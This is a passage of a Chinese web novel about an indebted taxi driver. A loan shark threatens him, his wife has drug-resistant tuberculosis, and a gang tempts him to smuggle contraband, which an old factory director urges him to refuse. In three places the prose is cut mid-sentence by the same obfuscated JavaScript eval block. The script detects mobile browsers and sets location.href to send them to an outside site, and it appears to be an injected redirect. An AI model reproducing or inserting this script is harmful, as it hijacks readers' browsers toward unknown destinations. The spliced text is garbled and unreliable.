她咬着嘴唇,最终没有写那些虚假的“高大上”的词句,而是用稚嫩却认真的笔触,写下了她眼中最真实的父亲。 作文交上去后,她并没有抱太大期望。然而,几天后的语文课上,老师却出乎意料地拿着她的作文本,走到了讲台前。教室里瞬间安静下来,所有同学的目光都聚焦在老师手上那个普通的作业本上。 老师推了推眼镜,目光在教室里扫视了一圈,尤其是在张小梅身上停留了一瞬,眼神有些复杂。她清了清嗓子,开始朗读: “我的爸爸” “我的爸爸是一名出租车司机。他开夜班,每天都很晚很晚才回家。我睡着的时候,他出去工作;我醒来的时候,他刚刚睡着。他的眼睛总是很红,像兔子一样,身上有烟味,还有……说不出来的累的味道。” 老师的朗读声在寂静的教室里回荡,声音平缓,却带着一种奇异的穿透力。同学们起初还有些漫不经心,但随着朗读的继续,教室里那种微妙的、带着歧视的氛围渐渐变了。 “我知道,爸爸开出租车很辛苦。有时候会碰到喝醉酒的客人,有时候会碰到不给钱的人,还有很多很多我不知道的难处。他从来没有跟我说过,但我知道。” “妈妈病了,需要吃很贵的药。我们家还欠了很多钱,有人会来砸我们家的门,用红油漆在墙上写可怕的字。爸爸每次都会挡在妈妈和我前面。他的手很大,上面有很多茧子,有时候还会有伤口。” 读到这一段时,教室里已经鸦雀无声。有几个女同学低下了头,先前嘲笑过她的那个男生,也有些不自在地扭了扭身子。 “但是,在我心里,他是世界上最好的爸爸。他用那双大手给我热过冰冷的馒头,在妈妈睡不着的时候,整夜整夜地守着。他那么累,却从来没有抱怨过。他告诉我,只要人在,家就在。” “等我长大了,一定要赚很多很多钱,让爸爸不要再那么晚开车,让妈妈能安心吃药治病。爸爸是为了我们这个家,才变得这么辛苦的。我爱我的爸爸。” 作文读完了。教室里陷入了长时间的、近乎凝滞的沉默。没有掌声,也没有议论。阳光透过肮脏的玻璃窗,照在漂浮的粉尘上,形成一道道光柱。许多同学都低着头,不敢看讲台,也不敢看坐在角落里的张小梅。那个曾经充斥着隐形歧视和冷漠的空间,仿佛被这篇稚嫩却沉重的作文,撕开了一道口子,露出了底下些许柔软的、名为“共情”的内里。 老师放下作文本,沉默了半晌,才缓缓说道:“作文……感情很真挚。都……都向张小梅同学学习,善于观察生活,写出真情实感。” 她的语气有些干巴巴的,似乎也不知道该如何更好地评价这篇远远超出小学生作文范畴的文字。她没有像往常一样点评结构、词句,只是匆匆结束了这节课。 这篇作文,后来由病情稍有好转、偶尔能在家缓慢走动、听觉也恢复了些许的李桂兰,在一次张建设难得白天在家、给她喂药时,用极其缓慢、断断续续、夹杂着模糊气音的语句,连同当时老师那不自然的反应和教室里异常的寂静,一起艰难地转述给了张建设。 张建设听着,手里盛着药汁的碗停在半空。他没有说话,脸上也没有什么表情,只是那双布满血丝、深陷在眼窝里的眼睛,在昏暗的光线下,迅速地蒙上了一层厚重的水汽。 他猛地转过身,背对着妻子,肩膀几不可察地微微耸动了一下。他抬起那只布满老茧和伤疤的大手,用力地、狠狠地抹了一把脸,然后维持着那个姿势,久久没有动弹。 女儿的作文,没有华丽的辞藻,却像一面最真实的镜子,照见了他所有的狼狈、艰辛与挣扎,也照见了他在女儿心中,那无法被苦难磨灭的、如山般的父爱。这面镜子,让他无地自容,也让他那颗在黑暗中浸泡太久、几乎冰冷僵硬的心,感受到了一丝微弱却滚烫的暖流,以及随之而来的、更加深重的酸楚与愧疚。 与斌哥那伙人危险的“邀约”和林晓冰冷的警告相比,龙哥那边看似遵守了“新协议”,没有再上门打砸泼漆,也没有再到学校门口围堵张小梅。但这种表面的“平静”,反而像一块浸透了冰水的湿布,沉沉地压在张建设的心头,比直接的暴力更让人窒息。他知道,龙哥这种在刀尖上舔血的人,绝不会轻易放弃到嘴的肥肉,所谓的“半年期限”和“暂停计息”,不过是换了一种更残忍的烹煮方式。 这种“耐心”的折磨,很快便露出了它锋利的獠牙。 一天傍晚,张建设正准备出门上夜班,刚走到筒子楼楼下,就看到一个熟悉的身影——龙哥手下的那个皮夹克男,正斜倚在对面巷口的电线杆上,嘴里叼着烟,看似漫无目的地打量着过往行人。但当张建设的目光与他对上时,皮夹克男并没有移开视线,反而咧开嘴,露出一个带着森然笑意的表情,甚至还抬手,对着张建设的方向,轻轻挥了挥,象是在跟一个“老朋友”打招呼。 张建设的后背瞬间沁出一层冷汗。他没有回应,迅速低下头,加快脚步,几乎是逃也似的离开了那片区域。但那种被毒蛇盯上的冰冷黏腻感,却如影随形。 几天后的一个深夜,张建设刚送完一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743080|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单活,把车停在路边稍作休息,啃着冰冷的馒头。为了跑车方便,他咬牙买了个最便宜的二手手机,突然响了起来,是一个陌生的本地号码。 他犹豫了一下,接了起来。 电话那头,传来的是龙哥那经过修饰、却依旧透着骨子里的沙哑和冰冷的声音,语气甚至带着一丝诡异的“亲切”: “张老板,夜班辛苦啊?”张建设的心脏猛地一沉,攥着馒头的手僵住了。龙哥怎么会知道他的新号码?这个认知让他感到一种无所遁形的恐惧。 “龙哥……”他干涩地应了一声。 “别紧张嘛,”龙哥在电话那头轻笑一声,那笑声像砂纸摩擦着张建设的耳膜,“我就是打个电话,关心一下。听说你最近……找到新门路了?开上出租车了?挺好,踏踏实实挣钱,挺好。” 他顿了顿,语气依旧“平和”,但话语里的内容却像淬了毒的针: “这开夜车啊,要注意安全。路上车多,人也杂。听说前两天西郊那边,就有个跑夜车的出了车祸,啧啧,挺惨……家里老婆孩子哭得那叫一个伤心。” 张建设的呼吸骤然急促起来,他听懂了这话里赤裸裸的威胁。 “还有啊,”龙哥仿佛只是随口闲聊,继续慢悠悠地说道,“你家那小丫头,叫小梅是吧?听说作文写得不错?小孩子,有灵气是好事。不过现在这世道乱,小姑娘家家的,放学路上也得当心点,别被什么不三不四的人盯上,或者……不小心被车碰了。” “嗡”的一声,张建设感觉自己的大脑一片空白,血液仿佛瞬间冲上了头顶,又迅速冻结。龙哥不仅知道他的动向,连小梅在学校的事情都一清二楚!他用最“温和”的语气,精准地戳中了他内心最恐惧、最柔软的两个地方——他自己的安危,尤其是女儿的安危! “龙哥!你……”张建设的声音因为极致的愤怒和恐惧而颤抖,他想怒吼,想警告对方别动他的家人,但话到嘴边,却被一种更深的无力感死死扼住。 “我怎么了?”龙哥的语气依旧带着那种令人毛骨悚然的“疑惑”,“我就是提醒你一下,当爹的,得多上心。毕竟,这半年时间,说长不长,说短不短……可别到时候,钱没凑够,人再出点什么事,那多不划算,你说是不是?” 说完,不等张建设回应,电话便□□脆利落地挂断,只剩下“嘟嘟”的忙音,像死亡的倒计时,敲击在张建设濒临崩溃的神经上。 他猛地将手里那半个冰冷的馒头砸在方向盘上,馒头屑四溅。他双手死死抓住方向盘,骨节因为用力而发出咯咯的声响,额头上青筋暴起,胸膛剧烈起伏,却发不出任何声音,只有如同困兽般压抑的、从喉咙深处挤出的嗬嗬声。 龙哥没有违反“协议”,他没有动手,他甚至没有提一个“钱”字。但他用这种无处不在的“注视”和阴冷的“提醒”,明确地告诉张建设:你和你家人的一举一动,都在我的掌控之中。那八千块钱,和你们全家人的平安,是绑在一起的。期限一到,如果看不到钱,后果……你可以尽情想象。 这种如同钝刀子割肉般的“耐心”,比直接的暴力更加残忍。它剥夺了张建设最后一点喘息的空间,将那笔债务和随之而来的恐惧,无孔不入地渗透进他生活的每一个缝隙,让他无论是在喧嚣的夜色中,还是在回到那个暂时平静的家中时,都无法摆脱那如影随形的、冰冷的窒息感。那根无形的绞索,正在以一种缓慢而坚定的速度,一点点地收紧。 46. 暗潮 龙哥那通如同附骨之疽的威胁电话,让张建设在接下来的夜班中如同惊弓之鸟。他握着方向盘的手时常被冷汗浸湿,每一次后视镜里出现可疑的车灯,每一个路边看似无所事事的黑影,都会让他心脏骤紧。这种精神上的持续凌迟,比身体的疲惫更加消耗人。 而当他拖着这具被恐惧和疲惫掏空的身躯回到家中,需要面对的,是另一重更加具体、也更加无望的阴影——李桂兰的病。 那场暴力惊吓和头部创伤,像最后一阵狂风,彻底吹熄了李桂兰生命烛台上本就摇曳不定的火苗。虽然不再失语,听觉也恢复了一些,但她整个人的精气神仿佛被抽走了,终日恹恹地躺在床上,或是蜷在墙角那把吱呀作响的旧藤椅里。她的咳嗽并没有随着额头上伤疤的愈合而好转,反而变得更加频繁、深入,常常在夜深人静时爆发,那声音不再是清脆的,而是带着一种从肺叶深处拉扯出来的、令人心惊的沉闷和粘稠感,仿佛有什么东西正在那具枯瘦的身体里缓慢地碎裂、腐烂。 家里的中药味从未散去,反而因为加入了更多奇怪的偏方草药而变得愈发复杂刺鼻。窗台上晾晒着一些连郎中都说不清名字的干枯草根,灶台上永远煨着黑乎乎的药罐,散发出的气味混合着屋内固有的霉味,形成一种象征着疾病与贫穷的、令人绝望的气息。 张建设用开夜车挣来的、抠抠搜搜省下的钱,带李桂兰去区医院复查过几次。医生看着新拍的胸片,眉头越皱越紧,最后放下片子,看着眼前这个一脸憔悴、衣着寒酸的男人,语气带着一种见惯不怪的沉重: “同志,你爱人的情况……不太乐观啊。”医生用圆珠笔点着胸片上一处模糊的阴影,“肺结核病灶有明显扩大,而且你看这里,边缘不清,形态也不好……长期营养不良,心情抑郁,再加上上次的外伤和惊吓,身体抵抗力已经完全垮了。” 医生顿了顿,抬眼看了看张建设瞬间煞白的脸,声音压低了些,带着一丝不易察觉的同情,但更多的是职业性的冷静和提醒: “我们这边,常规的抗结核药效果已经不大了。我怀疑……有转向耐多药结核的可能。” “耐多药……结核?”张建设茫然地重复着这个陌生的名词,心脏却象是被一只冰冷的手攥住。 “嗯。”医生点了点头,“就是说,普通的、便宜的一线药物可能已经没用了。需要上二线药,甚至更贵的进口药。治疗周期会非常长,至少一年半到两年,而且……”他停顿了一下,目光扫过张建设那洗得发白、袖口磨损的工装,“费用,会是之前的十倍,甚至几十倍。并且,副作用也会大很多。” 几十倍的费用?一年半到两年?张建设感觉一阵天旋地转,几乎要站立不稳。八千块的高利贷已经像泰山压顶,现在又来了一个需要“几十倍”费用的、闻所未闻的“耐多药结核”?这已经不是雪上加霜,这是直接将他,将这个家,推入了万劫不复的深渊! 他不知道自己是怎么扶着墙壁、拿着那张轻飘飘却重逾千斤的诊断书和新的药方走出诊室的。外面的阳光晃得他睁不开眼,世界在他眼前扭曲、变形。他摸遍全身口袋,凑出所有的零钱,连这个月准备交给龙哥的那点“利息”都垫上了,才勉强抓回了第一疗程的、价格惊人的二线药物。 回到家,他看着李桂兰服下那昂贵的药片后,因为强烈的胃肠道反应而趴在床边剧烈干呕、瘦削的肩膀不住颤抖的样子,感觉自己的心也跟着被撕碎了。 疾病的阴影,从未如此具体而狰狞。它不再仅仅是咳嗽和虚弱,而是一个名为“耐多药结核”的、张着血盆大口的怪物,需要他用无法想象的天文数字去喂养,并且遥遥无期。这阴影,与龙哥那根无形的绞索交织在一起,彻底封堵了这个家庭所有可能的出口。 希望,在这个昏暗、充斥着药味和绝望的房间里,如同风中残烛,微弱得只剩下最后一点即将熄灭的光斑。张建设坐在门槛上,望着屋里蜷缩的妻子和墙上那片无法清洗干净的红漆污痕,第一次清晰地感觉到,那名为“未来”的东西,正在他眼前,一寸一寸地,彻底崩塌,化为齑粉。这疾病的阴影,比龙哥的威胁更加沉重,因为它源自生命本身的、无可挽回的枯萎,预示着一种即使还清债务,也可能无法摆脱的、漫长的、吞噬一切的黑暗。 李桂兰“耐多药结核”的诊断,像最后一块巨石,轰然砸在张建设早已不堪重负的脊梁上。那昂贵的二线药物,仅仅一个疗程就几乎掏空了他夜班出租车攒下的所有微薄积蓄,而医生口中“几十倍费用”、“漫长周期”的预言,更象是一个无底的、黑暗的深渊,在他眼前张开巨口。 八千块的高利贷尚未解决,如今又添上这仿佛永远填不满的医药窟窿。绝望,不再是模糊的情绪,而是化作了妻子日益频繁的、撕心裂肺的咳嗽声,化作了那满屋挥之不去的、象征着贫穷与死亡的药味,化作了女儿看着他时,那与年龄不符的、深藏在眼底的忧虑。 就在他被这双重巨压碾得几乎喘不过气,感觉每一口呼吸都带着铁锈般的血腥味时,斌哥的“邀约”,再次以一种更具体、更不容拒绝的方式,摆在了他的面前。 这次不是在喧闹的大排档,而是在一个更为隐蔽的、位于老旧居民区深处、连招牌都没有的私人茶馆包间里。包间装修俗艳,空气中弥漫着劣质檀香和雪茄的混合气味,厚重的窗帘拉着,隔绝了外面的一切光线。只有一盏昏黄的壁灯,照亮着沙发上斌哥那张带着笑意的、却让人心底发寒的脸,以及他旁边两个沉默而立、眼神犀利的马仔。 “建设,坐。”斌哥显得很随意,指了指对面的沙发,亲手给他倒了一杯色泽浑浊的“好茶”。“听说……弟妹的病,又重了?”他开门见山,语气里带着一种仿佛能洞察一切的“关切”。 张建设身体一僵,没有碰那杯茶,只是沉默地点了点头。他知道,自己在对方面前,几乎没有任何秘密可言。 “唉,这年头,病不起啊。”斌哥感慨了一句,象是推心置腹,“尤其是那种烧钱的病,就是个无底洞。光靠你开夜车那点辛苦钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743081|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是连药渣都凑不齐。” 他观察着张建设灰败的脸色,话锋一转,回到了正题:“上次跟你提的那趟‘长途’,机会还在。老板很看重你这人‘稳当’、‘嘴严’。这次路线、接头人都安排得更妥帖了。” 他身体微微前倾,压低声音,但每个字都清晰无比:“还是那批‘五金零件’,从边境运到北春。路是远了点,可能……也得绕开些不必要的‘检查站’。”他轻描淡写地略过了最大的风险,随即抛出了那个足以让任何陷入绝境的人心跳加速的数字: “报酬,我再给你加码——五千块。一趟,现结。” 五千!这个数字像一道强烈的闪电,在张建设黑暗的世界里炸开。它几乎相当于那笔高利贷的一大半!足以支付桂兰好几个疗程的昂贵药物,能让这个家在深渊边缘获得一丝宝贵的喘息之机! 他的呼吸瞬间变得粗重,心脏狂跳起来,血液冲上头顶,让他感到一阵眩晕。巨大的诱惑像一只无形的手,死死扼住了他的喉咙和理智。 斌哥很满意他的反应,继续加码,语气带着一种蛊惑人心的力量:“想想吧,建设。跑这一趟,你老婆就能用上最好的药,你闺女也不用再担惊受怕。龙哥那边,也能先堵上一大块窟窿。风头紧,就干这一票,拿到钱就收手,足够你们家缓过这口气了。” 旁边一个马仔适时地插话,语气带着怂恿和一丝不易察觉的威胁:“张哥,斌哥和老板这么照顾你,机会难得!这世道,撑死胆大的,饿死胆小的!老老实实开一辈子破车,能挣出个啥?” 另一个也附和道:“就是!不就是开趟车吗?路线都安排好了,有人接应,稳当得很!比你在零工市场被人当狗耍强多了!” 张建设死死地低着头,双手在膝盖上攥成拳头,指甲深深掐进肉里。他当然知道这不是“开趟车”那么简单。绕开检查站的“五金零件”?那很可能就是枪支、毒品或者其他足以让他掉脑袋的违禁品!一旦被抓,不仅仅是坐牢,很可能…… 可是,不干呢?桂兰那压抑不住的、仿佛要将肺都咳出来的声音在他耳边回响;女儿那篇作文里“爸爸是为了我们这个家,才变得这么辛苦”的字句在他眼前晃动;龙哥那阴冷的“提醒”和期限如同达摩克利斯之剑悬在头顶;还有那天文数字般的医药费…… 一边是显而易见的、万劫不复的犯罪深渊;一边是家人眼前迫在眉睫的生存危机和病痛折磨。 他感觉自己被撕成了两半。一半在疯狂地叫嚣着接受,为了钱,为了活下去,哪怕堕入地狱;另一半则在绝望地挣扎,保留着作为一个“人”、一个“劳模”最后的底线和对法律的恐惧。 斌哥不再催促,只是慢悠悠地品着茶,那双精明的眼睛,像打量落入陷阱的猎物般,欣赏着张建设脸上每一个痛苦挣扎的细微表情。他知道,对于眼前这个被逼到绝路的男人来说,这“好工作”的诱惑,几乎是无法抗拒的。他只是在等待,等待那根名为“道德”和“恐惧”的弦,被现实的重压彻底崩断。 47. 妻子的噩梦 从医院带回那张写着“耐多药结核”的诊断书和天价药方后,家里的空气仿佛凝固成了铅块,每一次呼吸都带着沉甸甸的绝望。张建设将那份恐惧和斌哥的“邀约”死死压在心底,不敢在妻女面前流露出分毫。他依旧每晚出门开夜车,白天则强打精神,照顾妻子,操持家务,那沉默而忙碌的身影里,却透着一股山雨欲来的紧绷。 而李桂兰,虽然口不能言,听觉也时好时坏,但她与张建设夫妻多年,那种近乎本能的联结,让她比任何人都更能敏锐地感知到丈夫平静外表下,那汹涌的暗流和濒临崩溃的挣扎。疾病的折磨、对家庭的愧疚、以及对未来的恐惧,早已将她本就脆弱的神经折磨得千疮百孔。 夜深人静,当张建设出车后,家里只剩下她和熟睡的女儿。白日里强行压制的恐惧,便在黑暗中无限放大,化作了纠缠不休、光怪陆离的噩梦。 她梦见龙哥那伙人又来了,这次不再是砸东西泼油漆,而是直接冲进了里屋,狞笑着将咳血不止的她从床上拖下来,冰冷的刀锋贴着她的喉咙,而张建设被他们死死按在地上,目眦欲裂,却发不出声音。 她又梦见张建设开着那辆破夏利,驶入了一条没有尽头的、浓雾弥漫的公路。突然,警笛大作,刺眼的红蓝灯光穿透浓雾,无数黑洞洞的枪口指向他。他惊慌失措地想要调头,车子却失控地冲下了悬崖,在无尽的坠落中,她能看到丈夫最后回头望向她的、充满悔恨与不甘的眼神…… 她还梦见自己被困在一个巨大的、冰冷的铁笼子里,笼子外是堆积如山的、写满“债务”和“药费”的纸张,像雪崩一样向她压来。她拼命咳嗽,想喊丈夫的名字,想喊女儿救她,却只能发出“嗬嗬”的气音,眼睁睁看着那纸山将自己彻底掩埋、窒息…… 这些梦境支离破碎,却又无比真实,每一次都将她生生吓醒。 这天凌晨,天还没亮,张建设拖着疲惫的身躯刚回到家,脱下带着寒气和烟味的外套,就听到里屋传来一阵极其压抑的、如同小动物哀鸣般的呜咽声。 他心头一紧,快步走进里屋。 昏暗的光线下,李桂兰并没有睡着。她蜷缩在床角,用被子死死捂住嘴,整个人筛糠般剧烈地颤抖着。泪水浸湿了鬓角和枕头,脸上毫无血色,那双因为消瘦而显得格外大的眼睛里,充满了未从梦境中挣脱的、极致的恐惧和绝望。她看到张建设进来,非但没有平静,反而更加激动,伸出手,死死抓住他的胳膊,指甲几乎掐进他的肉里。 她张着嘴,喉咙里发出“啊啊”的、破碎不堪的音节,另一只手胡乱地比划着,指向窗外,又指向他,眼神里充满了哀求和无边的恐惧。她想告诉他那个可怕的梦,想警告他不要去做危险的事情,想哀求他不要离开她们母女……可她说不出来!一个字都说不出来! 这种有口难言的痛苦和巨大的恐慌,几乎要将她逼疯。 张建设被她眼中那纯粹的、几乎要溢出来的恐惧刺痛了。他明白,妻子一定是又做了噩梦,而且这噩梦,必然与他最近的挣扎和那个危险的“选择”有关。他试图安抚她,笨拙地拍着她的背,想让她躺下。 可李桂兰死死抓着他的胳膊,拼命地摇头,眼泪流得更凶了。她用尽全身力气,从被压抑的气流中挤出几个模糊到几乎无法辨认的音节,混杂着绝望的哭腔:“……不……去……危……险……”张建设听清了。 他的心象是被一把冰冷的锥子狠狠刺穿,瞬间冻结。妻子即使在精神濒临崩溃的噩梦中,感知和牵挂的,依旧是他的安危! 他看着她那因为极度恐惧而扭曲的面容,看着她那死死抓住自己、如同抓住救命稻草般的手,一股混杂着无尽辛酸、愧疚和同样巨大恐惧的洪流,彻底冲垮了他的心防。 他再也无法维持表面的平静,猛地俯下身,将这个瘦得只剩下一把骨头、却在噩梦中瑟瑟发抖的女人,紧紧地、紧紧地拥入怀中。他的身体也在不受控制地颤抖,喉咙哽咽着,却发不出任何安慰的语句。 李桂兰在他怀里,象是终于找到了些许依靠,那紧绷到极致的神经稍稍松弛,压抑的呜咽变成了崩溃的痛哭,只是那哭声依旧被死死闷在被子和他的胸膛之间,沉闷而绝望。 窗外,黎明前的黑暗最为浓重。这对被命运逼到悬崖边的夫妻,在疾病和债务的双重阴影下,依靠着本能和残存的爱意,在绝望的深渊边缘,进行着这场无声却惊心动魄的交流。妻子的噩梦,像一面残酷的镜子,映照出那个“选择”背后,血淋淋的、可能到来的结局。张建设抱着怀中哭泣的妻子,感觉那五千块的诱惑,此刻重若千钧,也冰冷如刀。 妻子的噩梦和那无声却震耳欲聋的哀求,像一根根烧红的针,扎在张建设每一根紧绷的神经上。斌哥那边五千块的诱惑与万丈深渊般的风险,龙哥那边日益收紧的无形绞索,家中妻子日益沉重的病情和女儿沉默的忧虑……所有这些交织在一起,几乎要将他逼疯。他感觉自己像一头被困在铁笼里的野兽,四周都是烧红的烙铁,无论冲向哪边,都是皮开肉绽,甚至粉身碎骨。 他需要一个出口,哪怕只是片刻的喘息,或者一个能帮他看清迷雾的人。在这个世界上,他唯一还能信任、也唯一可能理解他此刻绝境的,似乎只剩下老厂长周维民了。 他找了个白天,趁着李桂兰吃过药昏沉睡去,小梅也在学校,拖着沉重的步子,再次敲响了周维民家那扇同样透着寒酸气的门。 周维民开门看到他时,并不意外,只是那双浑浊的老眼里,忧虑又深了一层。他把张建设让进屋,屋里依旧是那股陈旧家具和淡淡药味混合的气息,昏暗,压抑。 没有寒暄,张建设坐在那张吱呀作响的旧藤椅上,双手抱着头,手指插进已经有些花白的头发里,身体微微佝偻着,仿佛不堪重负。他沉默了足足有几分钟,才用一种干涩、嘶哑、仿佛从破裂的喉咙里挤出来的声音,将斌哥的“邀约”、那五千块的诱惑、以及其中蕴含的掉脑袋的风险,还有李桂兰最新的病情和天价药费,一股脑地,杂乱无章地,倾诉了出来。 他说得很艰难,时而停顿,时而语无伦次,脸上的肌肉因为痛苦和挣扎而扭曲着。 “……五千块,周厂长……五千块啊!”他抬起头,眼睛里布满了疯狂的血丝和一种走投无路的绝望,“桂兰的药……龙哥的债……我……我快撑不住了!他们就缺个开车的,说路线都安排好了……就一趟……就一趟也许就能……” 周维民一直默默地听着,没有打断他。老人坐在他对面,手里捏着一个早已冷掉的、印着红双喜字的旧搪瓷缸,手指因为用力而微微颤抖。窗外的光线透过肮脏的玻璃,照在他脸上纵横交错的皱纹里,每一道都象是用刀子刻上去的岁月与苦难。 直到张建设语无伦次地说完,瘫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743082|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅子上,只剩下粗重的喘息,周维民才缓缓开口。他的声音异常沙哑、低沉,带着一种沉重的、仿佛来自肺腑深处的疲惫: “建设啊……”他叫了一声名字,又停顿了很久,象是在积蓄力气,也象是在咀嚼这两个字背后所代表的、那个曾经意气风发的劳模和如今这个被生活逼到墙角、几乎要铤而走险的汉子。 “路,是自己选的。” 他抬起浑浊的眼睛,目光像两盏即将熄灭的油灯,却异常认真地盯着张建设: “别人把路指给你,是阳关道还是鬼门关,得你自己走。一步走错,那就是……万劫不复。” “万劫不复”四个字,他说得很慢,很重,像四块冰冷的石头,砸在张建设的心上。 “他们是些什么人,你心里清楚。那‘五金零件’是什么,你比我更明白。”周维民的语气里没有责备,只有一种深沉的、近乎悲凉的清醒,“今天他们能用五千块引你上钩,明天就能用别的东西逼你做更脏的事。上了那条船,再想下来,就由不得你了。到时候,挨枪子儿的是你,坐穿牢底的是你,桂兰和小梅……她们怎么办?指望那帮吃人不吐骨头的发善心?” 他摇了摇头,花白的头发在昏暗光线下微微晃动,脸上露出一丝极其苦涩的笑容:“我这把老骨头,是没用了,保不住厂子,也护不住你们这些老伙计……但是,我还能看得清,哪些路,绝对不能走!” 他看着张建设眼中那挣扎的火焰,知道空泛的道理无法浇灭现实的焦灼。他艰难地站起身,走到那个掉漆的五斗柜前,摸索了半天,拿出一个用手帕包着的小布包。他走回来,将布包放在桌上,一层层打开。 里面是几沓捆扎得整整齐齐的、面额不一的纸币,有十块的,五块的,甚至还有很多一块、五毛的毛票。所有的钱都旧旧的,带着老人特有的、小心翼翼保管的痕迹。 “这是我……还有你几个还没忘本的老兄弟,私下里又凑了凑……”周维民的声音更低了,带着难以启齿的羞愧和无力,“不多,就这五百块……你先拿着,应应急,给桂兰抓点药……” 那五百块钱,躺在陈旧的手帕上,与斌哥口中那轻飘飘的“五千块”相比,显得如此微薄,如此寒酸。但它代表的,是眼前这个风烛残年的老人,和那些同样在底层挣扎的老工友们,所能掏出的、最后一点干净的心意和暖意。 张建设看着那叠厚厚的、却数额渺小的钱,再看看周维民那满脸的沟壑和那双因愧疚与无力而微微颤抖的手,他猛地别过头去,喉咙里象是堵了一块烧红的炭,灼痛得他发不出任何声音。 他明白了老厂长的意思。这五百块,是劝诫,是警示,也是一面镜子——照出了那条看似轻松的“捷径”背后,需要付出的、可能是灵魂和整个家庭的代价;也照出了即便在绝境中,依然存在着另一种选择,一种虽然艰难、但至少能让他夜里睡得着觉的选择。 他没有去拿那五百块钱,只是猛地站起身,对着周维民,深深地、几乎是九十度地,鞠了一躬。然后,他转身,像逃离什么一样,踉跄着冲出了周维民的家门。 外面的天光有些刺眼,他却感觉眼前一片模糊。老厂长的话和那五百块钱,像一副沉重的枷锁,也像一盏微弱却固执的灯,在他内心那片黑暗的战场上,投下了一道无法忽视的光斑。抉择,变得更加清晰,也变得更加痛苦。 48. 最后的期限 与周厂长的谈话,像一场冰冷刺骨的秋雨,暂时浇熄了张建设心头那簇被五千块诱惑点燃的、危险的火焰。老厂长那句“万劫不复”和那包带着体温与汗水的五百块钱,像两根无形的绳索,将他从犯罪的悬崖边缘死死拽住。然而,这短暂的清醒带来的,并非是解脱,而是更加清晰、也更加沉重的绝望——他面前,依旧是无路可走。 就在他从周厂长家回来后的第二天,那根一直缓慢收紧的无形绞索,猛地发出了最后通牒。 电话是直接打到他那部二手手机上的,依旧是龙哥那经过修饰、却比刀锋更冷的声音。但这一次,没有任何“关心”或“提醒”的伪装,语气是毫不掩饰的、居高临下的最后通牒。 “张建设,”龙哥直呼其名,省去了任何虚伪的客套,“半年时间,差不多了吧?” 张建设的心脏瞬间沉到了谷底,握着手机的手指冰凉。“龙哥……我……我正在想办法……” “想办法?”龙哥在电话那头嗤笑一声,打断了他,那笑声里充满了猫捉老鼠般的戏谑和不耐烦,“我给你的时间够多了。我的耐心,是有限的。” 他顿了顿,每一个字都像冰锥砸下来: “听着,最后一周。七天。七天后的下午五点,我要是见不到那八千块钱,一分不少地摆在我桌上……” 龙哥的声音陡然变得阴沉而具体,带着一种令人不寒而栗的“认真”: “那就别怪我不讲情面,按‘合同’办事了。你们家那套破房子,虽然是公家的,但你们有居住权,对吧?抵给我,正好。” 抵房子!这三个字像一声惊雷,在张建设耳边炸响!他浑身剧震,几乎握不住手机。这间虽然破败、却承载了他们全家十几年记忆、是他们在这冰冷世界上唯一遮风挡雨的栖身之所的筒子楼,龙哥竟然真的要动手抢夺! “龙哥!不能啊!这房子……”张建设的声音因为极致的恐惧而变调,带着哭腔,“这是我们全家唯一……” “唯一什么?”龙哥冷冷地打断,语气里没有丝毫动摇,“唯一能抵债的东西!白纸黑字,红手印!当初你按下去的时候,就该想到有今天!” 他不再给张建设任何争辩的机会,用斩钉截铁的语气下达了最后的判决: “七天。就七天。凑够钱,咱们两清。凑不够……”他故意拉长了音调,象是在欣赏张建设此刻的惊恐,“到时候,我会亲自带人去‘接收’。你们一家人,就给我卷铺盖滚蛋,睡大街去吧!” “啪!”电话□□脆利落地挂断,只剩下冰冷的忙音,像丧钟一样,在张建设耳边嗡嗡作响。 他僵立在原地,手机从无力的手中滑落,“啪”地一声掉在冰冷的水泥地上,电池盖都摔开了。但他毫无知觉。 七天……八千块……抵房子…… 这几个词在他脑海里疯狂旋转、碰撞,炸开一片空白。他感觉脚下的地面在塌陷,周围的墙壁在向他挤压过来。这间屋子,虽然破旧不堪,虽然布满伤痕,但这里是他的家啊!这里有他和桂兰新婚时的憧憬,有小梅蹒跚学步的痕迹,有那些虽然清贫却还算安稳的日子的回忆……如果连这里都失去了,他们还能去哪里?流落街头?在北春刺骨的寒风中冻饿而死? 巨大的恐惧和绝望,像黑色的潮水,瞬间将他吞没。他比任何时候都更加清晰地意识到,自己已经被逼到了真正的绝境,身后就是万丈深渊,退一步,便是家破人亡,流离失所。 